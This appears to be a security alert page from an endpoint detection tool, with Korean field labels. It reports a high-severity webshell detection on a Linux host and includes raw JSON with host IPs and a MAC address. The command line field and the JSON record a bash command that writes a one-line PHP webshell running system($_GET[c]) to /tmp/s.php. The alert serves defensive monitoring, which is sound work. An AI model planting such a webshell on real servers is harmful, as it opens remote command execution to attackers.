Alert Information
High
- Alert ID
ind:f04562e41eb24f95911339a2dfa4d617:1766234317862404014-30122-3800336- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:f04562e41eb24f95911339a2dfa4d617:1766234317862404014-30122-3800336- 설명
- A webshell has been detected on your host. It may provide adversaries a set of functions to execute or a command-line interface on the system. Please check the process tree to determine if malicious commands were executed or if this access was expected.
- 호스트
- inbridge-40
- 상태
- new
- 생성 시간
- 2025-12-20 21:39:40
- 업데이트 시간
- 2025-12-20 22:38:40
MITRE ATT&CK
- Tactic
- Persistence
- Technique
- Web Shell
Command Line
bash -c echo "<?php system(\$_GET[c]);?>" > /tmp/s.php; rm /tmp/s.php
Raw JSON Data
{"id":"ind:f04562e41eb24f95911339a2dfa4d617:1766234317862404014-30122-3800336","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:f04562e41eb24f95911339a2dfa4d617:1766234317862404014-30122-3800336","agent_id":"f04562e41eb24f95911339a2dfa4d617","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"A webshell has been detected on your host. It may provide adversaries a set of functions to execute or a command-line interface on the system. Please check the process tree to determine if malicious commands were executed or if this access was expected.","severity":70,"severity_name":"High","confidence":80,"tactic":"Persistence","tactic_id":"TA0003","technique":"Web Shell","technique_id":"T1505.003","cmdline":"bash -c echo \u0022\u003C?php system(\\$_GET[c]);?\u003E\u0022 \u003E /tmp/s.php; rm /tmp/s.php","filename":"bash","filepath":"/usr/bin/bash","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","status":"new","type":"ldt","created_timestamp":"2025-12-20T12:39:40.041799859Z","updated_timestamp":"2025-12-20T13:38:40.037598425Z","device":{"device_id":"f04562e41eb24f95911339a2dfa4d617","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"inbridge-40","local_ip":"10.24.11.214","external_ip":"211.198.135.5","mac_address":"00-0c-29-31-3f-de","platform_name":"Linux","os_version":"Ubuntu 24.04"},"aggregate_id":"aggind:f04562e41eb24f95911339a2dfa4d617:12908210719","CreatedAt":"2025-12-20T21:39:40.0417999+09:00","UpdatedAt":"2025-12-20T22:38:40.0375984+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
f04562e41eb24f95911339a2dfa4d617
Actions